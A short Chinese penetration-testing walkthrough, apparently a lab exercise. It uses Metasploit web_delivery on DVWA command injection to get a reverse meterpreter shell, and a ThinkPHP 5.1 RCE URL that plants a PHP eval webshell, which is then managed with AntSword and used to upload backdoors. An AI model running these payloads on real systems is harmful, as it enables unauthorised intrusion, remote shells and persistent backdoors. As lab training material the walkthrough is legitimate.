一、访问web站点,寻找漏洞
示例是在DVWA上的Command injection部分在low级别下进行的
当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以利用web_delivery生成的一条命令建立连接。web_delivery支持php/python/powershell多种脚本。
进入msf,search web_delivery,选择
use exploit/multi/script/web_delivery
其默认脚本语言是python,如果要更换脚本语言可以show targets查看可以更换的语言的代号
set lhost = Your IP Address
set lport = Your Port
运行以后它会生成一条指令,只要目标机器运行这条指令我们就能建立session
在DVWA中直接输入这条命令,就能获取meterpreter
现在更换脚本语言为powershell,同时还要改变payload(在win7之后版本有效)
set target 2
set payload windows/meterpreter/reverse_tcp
如果提示端口被占用可以更换端口,或者jobs查看正在工作的端口,jobs -k ID 关闭该进程。
运行以后可以得到一条新的命令,能正确显示windows版本的语言
二、利用thinkphp 5.1漏洞
thinkphp是一个开源的php框架
我们输入URL
192.168.123.160/html/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&
content=<?php%20eval($_POST[c]);?>
加粗部分就是一个webshell,最开头的是攻击目标的IP地址,接着的是你存放shell.php的文件路径,也就是说shell.php会和index.php在一个文件夹中
在目标主机植入webshell以后就要用到webshell管理工具,这里介绍蚁剑
右键添加数据,URL地址填写192.168.123.160/html/public/shell.php
连接密码就是POST[]里的内容:c
连接成功后双击就可以进入攻击目标的文件目录,右键还可以打开虚拟终端。至此就得到了一个目标主机的shell,还可以上传我们的后门文件。
题外话
以上介绍的两种方法需要两台主机能够连接,也就是它们要能互相ping通,这是reverse_tcp的基本要求。但是如果目标在公网,攻击者在内网,那么攻击者能ping通公网的目标,但是公网的目标ping不通攻击者,这个时候reverse_tcp就不能使用了,可以使用bind_tcp(绑定tcp)。但如果靶机连接不到攻击者,web_delievry就无法使用。